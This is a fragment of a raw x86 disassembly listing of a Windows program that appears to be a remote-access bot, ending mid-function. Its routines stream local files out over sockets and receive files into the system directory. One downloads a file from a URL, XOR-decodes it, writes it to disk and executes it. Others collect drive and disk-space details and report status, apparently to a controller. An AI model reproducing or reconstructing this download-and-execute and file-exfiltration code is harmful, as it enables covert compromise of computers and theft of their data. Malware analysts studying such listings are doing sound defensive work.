		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_3FC]
		push	esi
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp+var_38]
		mov	[ebp+var_38], 3Ch
		mov	[ebp+var_34], esi
		push	eax
		push	esi
		lea	eax, [ebp+var_500]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_4FC], edi
		mov	[ebp+var_500], ebx
		call	dword_4CB61C	; select
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp+var_DC]
		push	[ebp+var_54]
		push	offset dword_437BC8
		push	eax
		push	[ebp+var_1FC]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: sub_415E1A+1BFj
		lea	eax, [ebp+var_14]
		mov	[ebp+var_14], 10h
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		push	edi
		call	dword_4CB6C8	; accept
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_1F8], eax
		jnz	short loc_416034
		push	offset unk_437BA4


loc_416021:				; CODE XREF: sub_415E1A+49j
					; sub_415E1A+87j ...
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: sub_415E1A+200j
		push	edi
		call	dword_4CB6CC	; closesocket
		cmp	[ebp+arg_0], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: sub_415E1A+2C3j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp+var_4], eax


loc_416056:				; CODE XREF: sub_415E1A+237j
		push	edi
		lea	eax, [ebp+var_A04]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	[ebp+var_8]
		call	dword_42711C	; SetFilePointer
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8]
		call	dword_4270E8	; ReadFile
		push	esi
		lea	eax, [ebp+var_A04]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_1F8]
		call	dword_4CB684	; send
		mov	[ebp+var_4], eax
		push	esi
		cdq
		add	[ebp+var_10], eax
		lea	eax, [ebp+var_A04]
		push	edi
		push	eax
		push	[ebp+var_1F8]
		adc	[ebp+var_C], edx
		call	dword_4CB64C	; recv
		cmp	eax, ebx
		jl	loc_41617B
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jl	loc_41617B
		sub	[ebp+arg_0], eax
		jnz	loc_416049
		mov	edi, [ebp+var_18]


loc_4160E6:				; CODE XREF: sub_415E1A+224j
		push	[ebp+var_8]
		call	dword_427068	; CloseHandle
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_44]
		call	dword_4CB6C0	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1E0]
		push	eax
		lea	eax, [ebp+var_3FC]
		push	offset unk_437B78
		push	eax
		call	sub_41B886


loc_41611F:				; CODE XREF: sub_415E1A+1DCj
		add	esp, 14h


loc_416122:				; CODE XREF: sub_415E1A+215j
		cmp	[ebp+var_50], esi
		jnz	short loc_416147
		push	esi
		lea	eax, [ebp+var_3FC]
		push	[ebp+var_54]
		push	eax
		lea	eax, [ebp+var_DC]
		push	eax
		push	[ebp+var_1FC]
		call	sub_409A72
		add	esp, 14h


loc_416147:				; CODE XREF: sub_415E1A+30Bj
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_4151AC
		cmp	edi, esi
		pop	ecx
		jbe	short loc_41615F
		push	edi
		call	dword_4CB6CC	; closesocket


loc_41615F:				; CODE XREF: sub_415E1A+33Cj
		push	[ebp+var_1F8]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_58]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_41617B:				; CODE XREF: sub_415E1A+2AFj
					; sub_415E1A+2BAj
		push	esi
		mov	esi, offset dword_437B60
		push	[ebp+var_54]
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	[ebp+var_1FC]
		call	sub_409A72
		push	esi
		call	sub_4151AC
		add	esp, 18h
		push	[ebp+var_1F8]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_58]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
sub_415E1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4161BC	proc near		; DATA XREF: sub_401ACD+7B4o

var_14C4	= byte ptr -14C4h
var_4C4		= byte ptr -4C4h
var_2C4		= byte ptr -2C4h
var_1C0		= dword	ptr -1C0h
var_1B8		= byte ptr -1B8h
var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 14C4h
		call	sub_41BB20
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1C0]
		rep movsd
		push	1
		xor	ebx, ebx
		pop	esi
		mov	[ebp+var_8], ebx
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_2C4]
		push	104h
		push	eax
		call	dword_427074	; GetSystemDirectoryA
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429A98
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	80h
		push	2
		push	ebx
		push	esi
		push	40000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_416246
		push	offset unk_437CDC
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_416246:				; CODE XREF: sub_4161BC+81j
		push	eax
		call	dword_427068	; CloseHandle
		lea	eax, [ebp+var_2C4]
		push	offset aAB	; "a+b"
		push	eax
		call	sub_41B4C2
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_41626E
		push	offset unk_437CAC
		jmp	short loc_41628C
; ---------------------------------------------------------------------------


loc_41626E:				; CODE XREF: sub_4161BC+A9j
		push	[ebp+var_20]
		lea	eax, [ebp+var_1B8]
		push	eax
		call	sub_415BD3
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+arg_0], eax
		jnz	short loc_41629F
		push	offset unk_437C8C


loc_41628C:				; CODE XREF: sub_4161BC+88j
					; sub_4161BC+B0j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_41639B
; ---------------------------------------------------------------------------


loc_41629F:				; CODE XREF: sub_4161BC+C9j
		mov	esi, 1000h


loc_4162A4:				; CODE XREF: sub_4161BC+14Ej
		push	esi
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_14C4]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB64C	; recv
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41636B
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41630C
		push	[ebp+var_4]
		lea	eax, [ebp+var_14C4]
		push	edi
		push	1
		push	eax
		call	sub_41D2B4
		add	[ebp+var_8], edi
		add	esp, 10h
		push	[ebp+var_8]
		call	dword_4CB630	; htonl
		mov	[ebp+var_C], eax
		push	ebx
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB684	; send
		jmp	short loc_4162A4
; ---------------------------------------------------------------------------


loc_41630C:				; CODE XREF: sub_4161BC+118j
		lea	eax, [ebp+var_4C4]
		push	offset dword_437B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409A72
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_4]
		call	sub_41B05B
		add	esp, 24h
		push	[ebp+arg_0]
		call	dword_4CB6CC	; closesocket
		push	[ebp+var_1C]
		call	sub_40B412
		pop	ecx
		push	1
		call	dword_4270CC	; ExitThread


loc_41636B:				; CODE XREF: sub_4161BC+10Fj
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1B8]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		lea	eax, [ebp+var_4C4]
		push	offset unk_437C60
		push	eax
		call	sub_41B886
		add	esp, 14h


loc_41639B:				; CODE XREF: sub_4161BC+DEj
		cmp	[ebp+var_14], ebx
		jnz	short loc_4163C0
		push	ebx
		lea	eax, [ebp+var_4C4]
		push	[ebp+var_18]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+var_1C0]
		call	sub_409A72
		add	esp, 14h


loc_4163C0:				; CODE XREF: sub_4161BC+1E2j
		lea	eax, [ebp+var_4C4]
		push	eax
		call	sub_4151AC
		cmp	[ebp+var_4], ebx
		pop	ecx
		jz	short loc_4163DB
		push	[ebp+var_4]
		call	sub_41B05B
		pop	ecx


loc_4163DB:				; CODE XREF: sub_4161BC+214j
		cmp	[ebp+arg_0], ebx
		jbe	short loc_4163E9
		push	[ebp+arg_0]
		call	dword_4CB6CC	; closesocket


loc_4163E9:				; CODE XREF: sub_4161BC+222j
		push	[ebp+var_1C]
		call	sub_40B412
		pop	ecx
		push	ebx
		call	dword_4270CC	; ExitThread
sub_4161BC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4163F9	proc near		; DATA XREF: sub_401ACD+6279o
					; sub_401ACD+6AB9o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
var_510		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
var_2C8		= byte ptr -2C8h
var_248		= byte ptr -248h
var_148		= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_4CB5E4
		call	dword_4CB538	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_416885
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	40000000h
		push	eax
		call	dword_4270EC	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4164C0
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_437EA8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4164A3
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		add	esp, 14h


loc_4164A3:				; CODE XREF: sub_4163F9+88j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		push	[ebp+var_48]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread


loc_4164C0:				; CODE XREF: sub_4163F9+68j
		xor	edi, edi
		call	dword_4270A8	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx
		call	sub_41B4D5
		pop	ecx
		mov	[ebp+var_1C], eax


loc_4164DA:				; CODE XREF: sub_4163F9+1B4j
		push	200h
		lea	eax, [ebp+var_510]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_510]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_4CB540	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_41651E
		push	[ebp+arg_0]
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4168EB
		pop	ecx
		pop	ecx


loc_41651E:				; CODE XREF: sub_4163F9+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+var_510]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	dword_4270E0	; WriteFile
		cmp	edi, ebx
		jnb	short loc_41655C
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_416546
		mov	eax, [ebp+arg_0]


loc_416546:				; CODE XREF: sub_4163F9+148j
		push	eax
		lea	eax, [ebp+var_510]
		push	eax
		mov	eax, [ebp+var_1C]
		add	eax, edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch


loc_41655C:				; CODE XREF: sub_4163F9+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_416569
		cmp	edi, [ebp+var_3C]
		ja	short loc_4165B3


loc_416569:				; CODE XREF: sub_4163F9+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_416583
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_437E80
		jmp	short loc_416593
; ---------------------------------------------------------------------------


loc_416583:				; CODE XREF: sub_4163F9+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_437E58


loc_416593:				; CODE XREF: sub_4163F9+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_43E370
		push	eax
		call	sub_41B886
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_4164DA


loc_4165B3:				; CODE XREF: sub_4163F9+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_416608
		cmp	edi, [ebp+var_3C]
		jz	short loc_416608
		push	[ebp+var_3C]
		lea	eax, [ebp+var_510]
		mov	[ebp+var_14], esi
		push	edi
		push	offset unk_437E2C
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416608:				; CODE XREF: sub_4163F9+1C4j
					; sub_4163F9+1C9j
		call	dword_4270A8	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	dword_427068	; CloseHandle
		push	[ebp+var_1C]
		call	sub_41B0B1
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_416692
		lea	eax, [ebp+var_148]
		push	eax
		call	sub_4010AB
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_416692
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+var_510]
		push	offset unk_437E04
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_416692:				; CODE XREF: sub_4163F9+241j
					; sub_4163F9+253j
		cmp	[ebp+var_14], esi
		jz	loc_4168D2
		cmp	[ebp+var_44], 1
		jz	loc_41678D
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_4276B0
		fstp	[esp+590h+var_590]
		push	offset unk_437DCC
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_41670D
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		add	esp, 14h


loc_41670D:				; CODE XREF: sub_4163F9+2F2j
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4168D2
		push	5
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_4CB5A0
		cmp	[ebp+var_30], esi
		jnz	loc_4168D2
		lea	eax, [ebp+var_148]
		push	eax
		lea	eax, [ebp+var_510]
		push	offset dword_437DB0
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		add	esp, 24h
		jmp	loc_4168D2
; ---------------------------------------------------------------------------


loc_41678D:				; CODE XREF: sub_4163F9+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	dbl_4276B0
		lea	eax, [ebp+var_148]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+var_510]
		fmul	dbl_4276B0
		fstp	[esp+590h+var_590]
		push	offset unk_437D6C
		push	eax
		call	sub_41B886
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4167F5
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		add	esp, 14h


loc_4167F5:				; CODE XREF: sub_4163F9+3DAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_43D7E8
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	dword_42706C	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_416877
		call	dword_4CB58C	; WSACleanup
		call	sub_418359
		push	esi
		call	dword_427064	; ExitProcess


loc_416877:				; CODE XREF: sub_4163F9+46Aj
		lea	eax, [ebp+var_148]
		push	eax
		push	offset unk_437D38
		jmp	short loc_416891
; ---------------------------------------------------------------------------


loc_416885:				; CODE XREF: sub_4163F9+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset unk_437D0C


loc_416891:				; CODE XREF: sub_4163F9+48Aj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4168C5
		push	esi
		lea	eax, [ebp+var_510]
		push	[ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_2CC]
		call	sub_409A72
		add	esp, 14h


loc_4168C5:				; CODE XREF: sub_4163F9+4AAj
		lea	eax, [ebp+var_510]
		push	eax
		call	sub_4151AC
		pop	ecx


loc_4168D2:				; CODE XREF: sub_4163F9+29Cj
					; sub_4163F9+325j ...
		push	[ebp+var_18]
		call	dword_4CB668	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_40B412
		pop	ecx
		push	esi
		call	dword_4270CC	; ExitThread
sub_4163F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4168EB	proc near		; CODE XREF: sub_4163F9+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_416907


loc_4168F7:				; CODE XREF: sub_4168EB+1Aj
		mov	dl, byte_429094
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_4168F7

locret_416907:				; CODE XREF: sub_4168EB+Aj
		retn
sub_4168EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_416908	proc near		; CODE XREF: sub_401ACD+5841p
					; sub_401ACD+5969p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41D3BE
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_416908	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416922	proc near		; CODE XREF: sub_40F96A+458p
					; sub_40F96A+5FDp ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_4D3268
		push	0
		push	edi
		call	sub_41B590
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_416947:				; CODE XREF: sub_416922+5Bj
					; sub_416922+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_41D480
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_41D410
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416985
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416947
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416947
; ---------------------------------------------------------------------------


loc_416985:				; CODE XREF: sub_416922+4Bj
		dec	esi
		mov	eax, edi


loc_416988:				; CODE XREF: sub_416922+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416997
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416988
; ---------------------------------------------------------------------------


loc_416997:				; CODE XREF: sub_416922+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416922	endp


; =============== S U B	R O U T	I N E =======================================



sub_4169A1	proc near		; CODE XREF: sub_416B56+51p
					; sub_416B56+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CB694	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_4169E4
		dec	eax
		jz	short loc_4169DE
		dec	eax
		dec	eax
		jz	short loc_4169D8
		dec	eax
		jz	short loc_4169D2
		dec	eax
		jz	short loc_4169CC
		dec	eax
		jz	short loc_4169C6
		mov	eax, offset word_437EFC
		retn
; ---------------------------------------------------------------------------


loc_4169C6:				; CODE XREF: sub_4169A1+1Dj
		mov	eax, offset off_437EF8
		retn
; ---------------------------------------------------------------------------


loc_4169CC:				; CODE XREF: sub_4169A1+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4169D2:				; CODE XREF: sub_4169A1+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4169D8:				; CODE XREF: sub_4169A1+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4169DE:				; CODE XREF: sub_4169A1+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4169E4:				; CODE XREF: sub_4169A1+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_4169A1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169EA	proc near		; CODE XREF: sub_416A32+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB524
		test	eax, eax
		jz	short loc_416A1F
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416A1F:				; CODE XREF: sub_4169EA+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4169EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416A32	proc near		; CODE XREF: sub_416B56+17p
					; sub_41AA42+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4169EA
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416B10
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41D500
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		pop	ebx
		jmp	short loc_416B42
; ---------------------------------------------------------------------------


loc_416B10:				; CODE XREF: sub_416A32+2Cj
					; sub_416A32+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
